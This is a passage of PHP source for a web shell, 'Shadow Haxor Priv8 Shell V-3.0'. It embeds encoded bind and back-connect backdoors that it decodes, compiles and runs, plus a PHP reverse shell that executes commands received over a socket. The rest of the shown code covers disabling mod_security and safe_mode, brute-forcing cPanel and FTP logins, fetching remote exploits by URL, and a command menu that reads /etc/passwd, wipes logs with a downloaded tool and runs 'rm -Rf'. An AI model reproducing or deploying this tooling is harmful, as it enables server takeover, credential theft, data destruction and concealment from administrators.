5495 if(ajaxRequest.readyState == 4)
5496 {
5497 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5498 }
5499 }
5500
5501 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5502 ajaxRequest.send(null);
5503}
5504function getexploit(wurl,path,functiontype)
5505{
5506 document.getElementById("showexp").innerHTML=waitstate;
5507 var ajaxRequest;
5508 ajaxRequest = new XMLHttpRequest();
5509
5510 ajaxRequest.onreadystatechange = function()
5511 {
5512 if(ajaxRequest.readyState == 4)
5513 {
5514 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5515 }
5516 }
5517
5518 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5519 ajaxRequest.send(null);
5520}
5521function showMsg(msg)
5522{
5523 if(msg == 'smf')
5524 {
5525 document.getElementById('tableprefix').value="smf_";
5526 document.getElementById('fid').style.display='block';
5527 document.getElementById('wpress').style.display='none';
5528 document.getElementById('joomla').style.display='none';
5529 }
5530 if(msg == 'mybb')
5531 {
5532 document.getElementById('tableprefix').value="mybb_";
5533 document.getElementById('wpress').style.display='none';
5534 document.getElementById('joomla').style.display='none';
5535 document.getElementById('fid').style.display='block';
5536 }
5537 if(msg == 'ipb' || msg == 'vb')
5538 {
5539 document.getElementById('tableprefix').value="";
5540 document.getElementById('wpress').style.display='none';
5541 document.getElementById('joomla').style.display='none';
5542 document.getElementById('fid').style.display='block';
5543 }
5544 if(msg == 'wp')
5545 {
5546 document.getElementById('tableprefix').value="wp_";
5547 document.getElementById('wpress').style.display='block';
5548 document.getElementById('fid').style.display='none';
5549 document.getElementById('joomla').style.display='none';
5550 }
5551 if(msg == 'joomla')
5552 {
5553 document.getElementById('joomla').style.display='block';
5554 document.getElementById('tableprefix').value="jos_";
5555 document.getElementById('wpress').style.display='none';
5556 document.getElementById('fid').style.display='none';
5557
5558
5559 }
5560}
5561function checkforum(msg)
5562{
5563 if(msg == 'smf')
5564 {
5565 document.getElementById('tableprefix').value="smf_";
5566 document.getElementById('smfipb').style.display='block';
5567 document.getElementById('myjoomla').style.display='none';
5568 document.getElementById('wordpres').style.display='none';
5569 }
5570 if(msg == 'phpbb')
5571 {
5572 document.getElementById('tableprefix').value="phpb_";
5573 document.getElementById('myjoomla').style.display='none';
5574 document.getElementById('smfipb').style.display='block';
5575 document.getElementById('wordpres').style.display='none';
5576 }
5577 if(msg == 'mybb')
5578 {
5579 document.getElementById('tableprefix').value="mybb_";
5580 document.getElementById('myjoomla').style.display='none';
5581 document.getElementById('smfipb').style.display='none';
5582 }
5583 if(msg == 'vb')
5584 {
5585 document.getElementById('tableprefix').value="";
5586 document.getElementById('myjoomla').style.display='none';
5587 document.getElementById('smfipb').style.display='none';
5588 }
5589 if(msg == 'ipb')
5590 {
5591 document.getElementById('myjoomla').style.display='none';
5592 document.getElementById('smfipb').style.display='block';
5593 document.getElementById('tableprefix').value="";
5594 document.getElementById('wordpres').style.display='none';
5595
5596 }
5597 if(msg == 'wp')
5598 {
5599 document.getElementById('tableprefix').value="wp_";
5600 document.getElementById('myjoomla').style.display='none';
5601 document.getElementById('smfipb').style.display='block';
5602 document.getElementById('wordpres').style.display='block';
5603 }
5604 if(msg == 'joomla')
5605 {
5606 document.getElementById('myjoomla').style.display='block';
5607 document.getElementById('tableprefix').value="jos_";
5608 document.getElementById('smfipb').style.display='none';
5609
5610 }
5611}
5612</script>
5613<body>
5614<?php
5615
5616$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5617
5618$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5619
5620$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5621
5622$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5623shellstyle();
5624?>
5625<div align="center">
5626<a href="<?php $_SERVER['PHP_SELF'];?>"><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">Shadow Haxor Priv8 Shell V-3.0</font></a>
5627
5628</div>
5629<hr color="#1B1B1B">
5630
5631<table cellpadding="0" style="width:100%;">
5632 <tr>
5633 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5634 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5635 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5636 </tr>
5637 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5638 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5639 <?php $d0mains = @file("/etc/named.conf");
5640 $users=@file('/etc/passwd');
5641 if($d0mains)
5642 {
5643 $count;
5644 foreach($d0mains as $d0main)
5645 {
5646 if(@ereg("zone",$d0main))
5647 {
5648 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5649 flush();
5650 if(strlen(trim($domains[1][0])) > 2)
5651 {
5652 flush();
5653 $count++;
5654 }
5655 }
5656 }
5657 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5658 }
5659 else if($users)
5660 {
5661 $file = fopen("/etc/passwd", "r");
5662 while(!feof($file))
5663 {
5664 $s = fgets($file);
5665 $matches = array();
5666 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5667 $matches = str_replace("home/","",$matches[1]);
5668 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5669 continue;
5670 $count++;
5671 }
5672 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
5673 </tr><?php } ?>
5674 <tr>
5675 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
5676 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
5677
5678 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
5679 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
5680 </tr>
5681
5682 <tr>
5683 <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
5684 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
5685 <?php
5686 $d = str_replace("\\",$directorysperator,$dir);
5687 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
5688 $d = str_replace("\\\\","\\",$d);
5689 $dispd = htmlspecialchars($d);
5690 $pd = $e = explode($directorysperator,substr($d,0,-1));
5691 $i = 0;
5692 foreach($pd as $b)
5693 {
5694 $t = '';
5695 $j = 0;
5696 foreach ($e as $r)
5697 {
5698 $t.= $r.$directorysperator;
5699 if ($j == $i) {break;}
5700 $j++;
5701 }
5702$href=addslashes($t);
5703
5704 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
5705 $i++;
5706 }
5707
5708 ?>
5709 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
5710 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
5711 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
5712 <?php if($os == "Linux") { ?><td><a href="<?php echo $self.'?downloadit'?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
5713 </tr>
5714 </table>
5715
5716<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
5717 $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
5718 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
5719 <tr>";
5720 $menu = '';
5721
5722 foreach($m1 as $k => $v)
5723 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5724 echo $menu;
5725 echo "</tr>
5726</table>
5727<div style=\"float:left;\">
5728 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
5729 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
5730 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
5731<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
5732 <tr align=center>";
5733 foreach($m2 as $k => $v)
5734 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5735 echo $menu1;
5736 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
5737 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
5738 </tr>
5739</table>";?>
5740
5741<div id="showmaindata"></div>
5742<?php
5743
5744if(isset($_GET["downloadit"]))
5745{
5746 $FolderToCompress = getcwd();
5747 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
5748
5749 $prd=explode("/","backup.tar");
5750 for($i=0;$i<sizeof($prd);$i++)
5751 {
5752 $nfd=$prd[$i];
5753 }
5754 @ob_clean();
5755 header("Content-type: application/octet-stream");
5756 header("Content-length: ".filesize($nfd));
5757 header("Content-disposition: attachment; filename=\"".$nfd."\";");
5758 readfile($nfd);
5759 exit;
5760}
5761//Turn Safe Mode Off
5762
5763 if(getDisabledFunctions() != "None" || safe() != "OFF")
5764 {
5765 $file_pointer = fopen(".htaccess", "w+");
5766 fwrite($file_pointer, "<IfModule mod_security.c>
5767 SecFilterEngine Off
5768 SecFilterScanPOST Off
5769 </IfModule> \n\r");
5770
5771 $file_pointer = fopen("ini.php", "w+");
5772 fwrite($file_pointer, "<?
5773echo ini_get(\"safe_mode\");
5774echo ini_get(\"open_basedir\");
5775include(\$_GET[\"file\"]);
5776ini_restore(\"safe_mode\");
5777ini_restore(\"open_basedir\");
5778echo ini_get(\"safe_mode\");
5779echo ini_get(\"open_basedir\");
5780include(\$_GET[\"ss\"]);
5781?>");
5782
5783 $file_pointer = fopen("php.ini", "w+");
5784 fwrite($file_pointer, "safe_mode = Off");
5785
5786 fclose($file_pointer);
5787
5788 }
5789
5790 else if(isset($_POST['cpanelattack']))
5791 {
5792 if(!empty($_POST['username']) && !empty($_POST['password']))
5793 {
5794 $userlist=explode("\n",$_POST['username']);
5795 $passlist=explode("\n",$_POST['password']);
5796
5797 if($_POST['cracktype'] == "ftp")
5798 {
5799 foreach ($userlist as $user)
5800 {
5801 $pureuser = trim($user);
5802 foreach ($passlist as $password )
5803 {
5804 $purepass = trim($password);
5805 ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5806 }
5807 }
5808 }
5809 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
5810 {
5811 if($cracktype == "telnet")
5812 $cpanel_port="23";
5813 else
5814 $cpanel_port="2082";
5815 foreach ($userlist as $user)
5816 {
5817 $pureuser = trim($user);
5818
5819 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
5820 Processing user $pureuser ...</font></b><br><br>";
5821
5822 foreach ($passlist as $password )
5823 {
5824 $purepass = trim($password);
5825 cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5826
5827 }
5828 }
5829 }
5830 }
5831 else
5832 $bdmessage = "<center>Enter Username & Password List<center>";
5833 }
5834
5835else if(isset($_GET['info']))
5836{
5837 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
5838}
5839else if(isset($_POST['u']))
5840{
5841 $path = $_REQUEST['path'];
5842 if(is_dir($path))
5843 {
5844 $setuploadvalue = 0;
5845 $uploadedFilePath = $_FILES['uploadfile']['name'];
5846 $tempName = $_FILES['uploadfile']['tmp_name'];
5847 if($os == "Windows")
5848 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5849 else if($os == "Linux")
5850 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5851 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
5852 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
5853 else
5854 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
5855 }
5856 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
5857}
5858else if(isset($_POST['backdoor']))
5859{
5860 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
5861 { ?><script type="text/javascript">gethome('connect');</script><?php
5862 $passwd = $_POST['passwd'];
5863
5864 if($_POST['lang'] == 'c')
5865 {
5866 if(is_writable("."))
5867 {
5868 @$fh=fopen(getcwd()."/backp.c",'w');
5869 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5870 @fclose($fh);
5871 execmd("chmod 0755 ".getcwd()."/backp.c");
5872 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
5873 execmd("chmod 0755 ".getcwd()."/backp");
5874 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
5875 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5876 if(eregi("backp".$_POST['port'],$scan))
5877 $bdmessage = "Process found running, backdoor setup successfully.";
5878 else
5879 $bdmessage = "Process not found running, backdoor not setup successfully.";
5880 }
5881 else
5882 {
5883 @$fh=fopen("/tmp/backp.c","w");
5884 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5885 @fclose($fh);
5886 execmd("chmod 0755 /tmp/backp.c");
5887 execmd("gcc -o /tmp/backp /tmp/backp.c");
5888 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
5889 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5890 if(eregi("backp".$_POST['port'],$scan))
5891 $bdmessage = "Process found running, backdoor setup successfully.";
5892 else
5893 $bdmessage = "Process not found running, backdoor not setup successfully.";
5894 }
5895 }
5896 if($_POST['lang'] == 'perl')
5897 {
5898 if(is_writable("."))
5899 {
5900 @$fh=fopen(getcwd()."/bp.pl",'w');
5901 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5902 @fclose($fh);
5903 execmd("chmod 0755 ".getcwd()."/bp.pl");
5904 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5905
5906 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5907 }
5908 else
5909 {
5910 @$fh=fopen("/tmp/bp.pl","w");
5911 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5912 @fclose($fh);
5913 execmd("chmod 0755 ".getcwd()."/bp.pl");
5914 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5915 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5916 }
5917 }
5918 }
5919}
5920else if(isset($_POST['backconnect']))
5921{
5922 if($_POST['ip'] != "" && $_POST['port'] != "")
5923 { ?><script type="text/javascript">gethome('connect');</script><?php
5924 $host = $_POST['ip'];
5925 $port = $_POST['port'];
5926 if($_POST["lang"] == "perl")
5927 {
5928 if(is_writable("."))
5929 {
5930 @$fh=fopen(getcwd()."/bc.pl",'w');
5931 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5932 @fclose($fh);
5933 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5934 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
5935 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
5936 }
5937 else
5938 {
5939 @$fh=fopen("/tmp/bc.pl","w");
5940 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5941 @fclose($fh);
5942 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5943 execmd("perl /tmp/bc.pl $host $port &",$disable);
5944 if(!@unlink("/tmp/bc.pl"))
5945 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5946 }
5947 }
5948 else if($_POST["lang"] == "python")
5949 {
5950 if(is_writable("."))
5951 {
5952 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
5953 if($w_file)
5954 {
5955 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5956 @fclose($w_file);
5957 chmod(getcwd().'/bc.py', 0777);
5958 }
5959 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
5960 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5961
5962 if(!@unlink(getcwd()."/bc.py"))
5963 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5964 }
5965 else
5966 {
5967 $w_file=@fopen("/tmp/bc.py","w");
5968 if($w_file)
5969 {
5970 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
5971 @fclose($w_file);
5972 chmod('/tmp/bc.py', 0777);
5973 }
5974 execmd("python /tmp/bc.py $host $port &",$disable);
5975 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5976 if(!@unlink("/tmp/bc.py"))
5977 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
5978 }
5979 }
5980 else if($_POST["lang"] == "php")
5981 {
5982 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5983 $ip = $_POST['ip'];
5984 $port=$_POST['port'];
5985 $sockfd=fsockopen($ip , $port , $errno, $errstr );
5986 if($errno != 0)
5987 {
5988 $bdmessage = "<font color='red'><b>$errno</b> : $errstr</font>";
5989 }
5990 else if (!$sockfd)
5991 {
5992 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
5993 }
5994 else
5995 {
5996 fputs ($sockfd ,"\n=================================================================\nCoded By Shadow Haxor \n=================================================================");
5997 $pwd = exec_all("pwd");
5998 $sysinfo = exec_all("uname -a");
5999 $id = exec_all("id");
6000 $len = 1337;
6001 fputs($sockfd ,$sysinfo . "\n" );
6002 fputs($sockfd ,$pwd . "\n" );
6003 fputs($sockfd ,$id ."\n\n" );
6004 fputs($sockfd ,$dateAndTime."\n\n" );
6005 while(!feof($sockfd))
6006 {
6007 $cmdPrompt ="(D4RK)[$]> ";
6008 fputs ($sockfd , $cmdPrompt );
6009 $command= fgets($sockfd, $len);
6010 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
6011 }
6012 fclose($sockfd);
6013 }
6014 }
6015 }
6016}
6017else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
6018{
6019 $temp = "";
6020 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
6021 {
6022 $uid = @posix_getpwuid($_GET['val1']);
6023 if ($uid)
6024 $temp .= join(':',$uid)."\n";
6025 }
6026 echo '<br/>';
6027 paramexe('Users', $temp);
6028}
6029else if(isset($_GET['download']))
6030{
6031 download();
6032}
6033else
6034{
6035 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6036}
6037$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
6038?>
6039</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6040<table style="width:100%;border-color:#333333;" border="1">
6041<tr>
6042<td align="center">
6043<form method="post" enctype="multipart/form-data">
6044Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6045<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6046<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6047<span name="wrtble"><?php
6048echo $is_writable; ?></span>
6049 <br>
6050</td>
6051<td align="center" style="height:105px;">Create File :
6052<form onSubmit="createdir('Create',createfile.value);return false;">
6053<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6054<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6055</form><span name="wrtble">
6056<?php echo $is_writable; ?></span>
6057</td>
6058</tr>
6059<tr>
6060<td align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6061<input type="text" class="box" name="execute">
6062<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6063 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6064
6065<td align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6066<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6067<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6068</form><span name="wrtble"><?php
6069echo $is_writable;
6070?></span></td></tr>
6071<tr><td style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6072<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6073<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6074<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6075<select name="functiontype" class="sbox">
6076<option value="wwget">wget</option>
6077<option value="wlynx">lynx</option>
6078<option value="wfread">fread</option>
6079<option value="wfetch">fetch</option>
6080<option value="wlinks">links</option>
6081<option value="wget">GET</option>
6082<option value="wcurl">curl</option>
6083</select>
6084</form><div id="showexp"></div>
6085</td>
6086<td align="center">
6087<form>
6088Some Commands<br>
6089<?php if($os != "Windows")
6090{ ?>
6091<SELECT NAME="mycmd" class="box">
6092 <OPTION VALUE="uname -a">Kernel version
6093 <OPTION VALUE="w">Logged in users
6094 <OPTION VALUE="lastlog">Last to connect
6095 <option value='cat /etc/hosts'>IP Addresses
6096 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6097 <OPTION VALUE="logeraser">Log Eraser
6098 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6099 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6100 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6101 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6102 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6103 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6104 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6105 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6106 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6107 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6108 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6109 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
6110 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
6111 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6112 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6113 <OPTION VALUE="ps aux">Show running proccess
6114 <OPTION VALUE="uptime">Uptime check
6115 <OPTION VALUE="cat /proc/meminfo">Memory check
6116 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6117 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6118 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6119 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6120 <OPTION VALUE="./zap2">WIPELOGS PT3
6121 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6122 </SELECT>
6123 <?php } else {?>
6124 <SELECT NAME="mycmd" class="box">
6125 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6126 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6127 <OPTION VALUE="systeminfo">System Informations
6128 <OPTION VALUE="net user">User accounts
6129 <OPTION VALUE="netstat -an">Open ports
6130 <OPTION VALUE="getmac">Get Mac Address
6131 <OPTION VALUE="net start">Show running services
6132 <OPTION VALUE="net view">Show computers
6133 <OPTION VALUE="arp -a">ARP Table
6134 <OPTION VALUE="tasklist">Show Process
6135 <OPTION VALUE="ipconfig/all">IP Configuration
6136
6137 </SELECT>
6138 <?php } ?>
6139 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
6140<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6141</form>
6142</td>
6143</tr></table><br>
6144
6145</td>
6146</tr>
6147</table>
6148
6149<?php
6150
6151
6152//logout
6153
6154if(isset($_GET['logout']))
6155{
6156 setcookie("hacked",time() - 60*60);
6157 header("Location:$self");
6158 ob_end_flush();
